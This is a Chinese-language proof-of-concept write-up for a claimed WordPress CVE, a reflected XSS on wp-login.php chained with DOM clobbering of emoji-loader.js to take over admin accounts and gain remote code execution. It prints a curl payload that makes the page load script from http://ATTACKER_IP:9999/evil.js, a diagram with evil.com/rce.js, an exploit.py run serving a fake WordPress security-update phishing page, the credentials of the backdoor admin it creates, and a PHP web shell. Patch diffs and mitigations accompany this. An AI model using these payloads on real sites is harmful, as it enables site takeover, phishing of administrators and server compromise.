
CVE-2026-64638 的概念验证漏洞利用:WordPress 登录中的反射型 XSS 与 DOM clobbering 链式利用,可实现管理员账户接管和远程代码执行。
软件: WordPress Core ≤ 7.0.2(7.0.3 之前的所有版本)
CVSS: 8.9(高危)
CWE: CWE-79——网页生成期间输入未正确中和
所需认证: 无(预认证)
用户交互: 主动(管理员需点击 1 个链接)
影响: XSS → 账户接管 → 远程代码执行
WordPress 是全球最流行的内容管理系统,占互联网上所有网站的 40% 以上。每个 WordPress 站点都有一个位于 /wp-login.php 的登录页面——这是一个公共端点,任何人都可以在无需认证的情况下访问。
当用户输入错误的用户名时,WordPress 会显示一条包含用户刚输入的确切用户名的错误消息:“用户名 X 未在此站点注册。” 问题在于,用户名值被直接放入 HTML 响应中,未经过任何转义函数——攻击者只需输入 HTML/JavaScript 而不是真实用户名,代码就会在浏览器中执行。
这是一个反射型 XSS 漏洞——载荷包含在请求中,服务器将其原样反射回 HTML 中。其危险之处在于该漏洞位于登录页面——管理员经常访问的地方,管理员的会话 Cookie 可能在此被窃取。
研究团队进一步发现,此 XSS 可与 WordPress emoji-loader 中的 DOM clobbering(DOM 覆写)漏洞链式利用,从而允许从外部服务器加载 JavaScript。以此为基础,攻击者可以创建新的管理员账户 → 安装包含 WebShell 的插件 → 在服务器上执行 PHP 代码。此利用链被称为 XSS2Shell。
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2026-64638 |
| CVSS 评分 | 8.9(高危) |
| 软件 | WordPress Core ≤ 7.0.2 |
| 认证 | 无需认证(预认证) |
| 用户交互 | 需要 1 次点击(管理员点击链接) |
| 攻击复杂度 | 高 |
| 已修复版本 | WordPress 7.0.3(08/06/2026) |
| 报告者 | pwn.ai 团队,通过 HackerOne |
| HackerOne 报告 | #3877102 |
WordPress 通过文件 emoji-loader.js 在每个页面(包括登录页面)加载 emoji 支持。此脚本从具有 id="wp-emoji-settings" 的元素中读取配置:
// Before patch (vulnerable)
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
document.getElementById() 返回 DOM 中具有匹配 id 的第一个元素。如果攻击者在原始 script 标签之前注入一个 <div id="wp-emoji-settings">,getElementById 将读取攻击者的内容而不是真实配置。这种技术称为 DOM clobbering——通过注入 HTML 元素来覆盖 JavaScript 行为。
emoji 配置包含一个用于加载 JavaScript 文件的 URL(concatemoji)。攻击者控制此 URL → 从外部服务器加载 JS 文件 → 在浏览器上下文中执行任意代码。
一旦在管理员上下文中实现 JavaScript 执行,攻击者就拥有完整的 WordPress 管理员权限:
/wp-admin/user-new.php/wp-admin/plugin-install.php 上传插件以上 3 种方法中的任何一种都允许在服务器上执行 PHP 代码——即 RCE。
从 wordpress-develop 上的修复提交 0d6d42e 中,我确定了 wp-includes/user.php 文件中 3 个将用户名/邮箱直接放入错误消息的位置:
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php
位置 1——第 189 行(用户名不存在):
修复前:
// BEFORE (vulnerable):
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
$username // ← no escaping
)

修复后:
// fixed:
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
esc_html( $username ) // ← escaped
)
位置 2——第 216 行(密码错误):
修复前:

// BEFORE:
'<strong>' . $username . '</strong>' // ← no escaping
修复后:
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'
位置 3——第 299 行(邮箱密码错误):
修复前:

// BEFORE:
'<strong>' . $email . '</strong>' // ← no escaping
修复后:
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'
从 POST 请求到错误消息的数据流:
$_POST['log'] ← user input from login form
↓
wp_signon() [user.php:51]
$credentials['user_login'] = wp_unslash($_POST['log']) ← only removes backslashes
↓
wp_authenticate($username, $password) [pluggable.php:689]
$username = sanitize_user($username) ← strips HTML tags, but has a bypass
↓
wp_authenticate_username_password() [user.php:153]
get_user_by('login', $username) ← user not found
↓
sprintf('The username <strong>%s</strong>...', $username) ← XSS!
↓
WP_Error → login_header() → wp_admin_notice()
wp_kses_post(...) ← filters HTML but allows <div>, <a>, through
↓
HTML response → browser render → JavaScript execute
在用户名到达 HTML 之前,WordPress 有 2 层过滤:
第 1 层:sanitize_user()——调用 strip_tags() 移除 HTML 标签。然而,PHP 的 strip_tags() 存在已知限制:非标准标签格式可以绕过过滤器。
第 2 层:wp_kses_post()——允许安全 HTML 子集通过,包括带有某些属性的 <div>、<a>、``(但会剥离 onerror、onload 等事件处理属性)。关键点:wp_kses_post 允许 <div id="wp-emoji-settings">——这正是 DOM clobbering 所需的元素。
pwn.ai 团队找到了一种绕过这两层过滤以注入有效载荷的方法。具体技术细节尚未公开披露。
为了直观确认用户名未经转义就直接进入 HTML,我使用 Xdebug + VS Code 在执行链的关键位置设置断点。
第 1 步——在登录表单中输入 XSS 载荷:
访问 http://localhost:8282/wp-login.php,输入用户名 ``,然后点击“登录”。出现弹窗——XSS 生效。


第 2 步——在 user.php:184 设置断点——XSS 发生的位置:
在函数 wp_authenticate_username_password() 内的 return new WP_Error(...) 处设置断点。当调试器暂停时,观察:
$username = ""——完整的 HTML 载荷,未转义$_POST:log = ""——确认载荷源自表单输入wp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php
$username 的值从 $_POST['log'] → wp_unslash() →(绕过 sanitize_user)→ 通过 sprintf() 进入第 186-189 行的错误消息——中间没有任何 esc_html()。在实验室中,sanitize_user() 被注释掉,以模拟 pwn.ai 发现的绕过方式。
第 3 步——在 functions.php:9200 设置断点——最终输出:
在 echo wp_get_admin_notice( $message, $args ) 处设置断点——这是 HTML 输出到浏览器之前的最后一行:
$message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>"——载荷完整地存在于 HTML 错误消息中wp_kses_post() 包裹(已注释以模拟绕过),因此载荷直接进入浏览器
在原始 WordPress 中,这一行是 echo wp_kses_post( wp_get_admin_notice(...) )——wp_kses_post() 会剥离 onerror 属性,但会允许 <div id="wp-emoji-settings"> 通过,因为 <div> 在白名单中。这正是 DOM clobbering 攻击的精准向量。
提交 a12c8f5 修改了 emoji-loader.js 以阻止 DOM clobbering:
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);
此修复更改了 3 处:
querySelector('script#...') 代替 getElementById——只匹配 <script> 标签instanceof HTMLScriptElement——防止通过 <div> 或 `` 进行 DOM clobbering.text 代替 .textContent——.text 是 HTMLScriptElement 的特定属性修复后,即使攻击者设法注入 <div id="wp-emoji-settings">,emoji-loader 也会忽略它,因为它不是 <script> 元素。
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER │
│ Creates phishing link containing XSS payload │
│ POST /wp-login.php with log=<div id="wp-emoji-settings"> │
│ {"source":{"concatemoji":"https://evil.com/rce.js"}} │
└────────────────────────┬────────────────────────────────────────┘
│ Sends link to admin (email, chat, etc.)
▼
┌─────────────────────────────────────────────────────────────────┐
│ ADMIN CLICKS LINK │
│ Browser POSTs to /wp-login.php → server reflects payload │
│ → <div id="wp-emoji-settings"> appears in HTML │
└────────────────────────┬────────────────────────────────────────┘
│ emoji-loader.js executes
▼
┌─────────────────────────────────────────────────────────────────┐
│ DOM CLOBBERING │
│ getElementById('wp-emoji-settings') → returns attacker div │
│ JSON.parse(div.textContent) → reads fake configuration │
│ Loads script from https://evil.com/rce.js │
└────────────────────────┬────────────────────────────────────────┘
│ JS executes in admin context
▼
┌─────────────────────────────────────────────────────────────────┐
│ ACCOUNT TAKEOVER + RCE │
│ 1. Fetch /wp-admin/user-new.php → get nonce │
│ 2. POST create new admin account (backdoor) │
│ 3. Login using backdoor account │
│ 4. Install plugin containing PHP webshell │
│ 5. Call webshell → RCE on server │
└─────────────────────────────────────────────────────────────────┘
访问 http://localhost:8282/wp-login.php,输入:
点击“登录”。如果出现显示 “localhost” 的弹窗 → XSS 生效。
结果——载荷原样反射在 HTML 中:

更复杂的载荷——注入带有 id="wp-emoji-settings" 的 <div>,其中包含指向攻击者 JS 文件的 JSON:

# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'
curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
--data-urlencode "log=${PAYLOAD}" \
-d '&pwd=test&wp-submit=Log+In&testcookie=1' \
| grep "wp-emoji-settings"
如果 HTML 输出包含带有攻击者 JSON 的 <div id="wp-emoji-settings"> → emoji-loader 将从攻击者服务器加载 JS。
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999
脚本 exploit.py 提供两项内容:
http://127.0.0.1:9999/phish.html——冒充 WordPress 安全更新的钓鱼页面http://127.0.0.1:9999/evil.js——创建后门管理员账户的 JS 载荷攻击者通过电子邮件/聊天将链接 http://127.0.0.1:9999/phish.html 发送给管理员。当管理员点击时:
/wp-login.php POST 包含 XSS 载荷的用户名<div id="wp-emoji-settings"> 出现在 HTML 中emoji-loader.js 读取伪造的 div → 从攻击者服务器加载 evil.jsevil.js 在管理员浏览器中运行 → 获取 /wp-admin/user-new.php 以取得 nonce → 创建账户 backdoor_xss2shell / Pwn3d!XSS2Shell
整个过程自动发生;管理员只会看到带有“用户名未找到”错误的正常登录页面。
在实验室中,管理员已使用 admin / admin123 登录,因此 evil.js 立即运行。获得账户访问权限后,我立即通过插件上传了 WebShell:

<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>


输出返回 www-data——攻击者现在拥有服务器上的命令执行权限。
/wp-login.php 端点始终公开且无法隐藏(除非使用插件更改登录 URL)HttpOnly)或进行凭据钓鱼修复 1——转义输出(user.php):
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )
修复 2——加固 emoji-loader(emoji-loader.js):
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
throw new Error('Element missing');
}
修复 3——转义 URL(wp-login.php):
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )
log 参数中带有 HTML 载荷的 /wp-login.php POST 请求sanitize_user() 旨在规范化用户名,而非阻止 XSS。纵深防御:在输出点转义(esc_html、esc_attr、esc_url)是最后也是最关键的一道防线。getElementById 用于安全敏感数据。 DOM clobbering 可以注入具有相同 id 的伪造元素。请使用带特定标签名的 querySelector + instanceof 检查。wp_kses_post 不是 XSS 过滤器。 它旨在允许文章内容中的安全 HTML——而不是阻止其他上下文中的 XSS。每个上下文都需要其专用的转义函数。| CVSS 指标 | 值 | 原因 |
|---|
| 攻击向量 | 网络 | 通过 HTTP,向受害者发送链接 |
| 攻击复杂度 | 高 | 需要绕过 sanitize_user() + wp_kses_post(),需要受害者点击 |
| 所需权限 | 无 | 登录端点无需认证 |
| 用户交互 | 主动 | 管理员必须点击钓鱼链接 |
| 机密性 | 高 | 可读取 Cookie、会话、管理面板内容 |
| 完整性 | 高 | 可创建管理员账户、安装插件、修改文件 |
| 可用性 | 高 | RCE → 完全控制服务器 |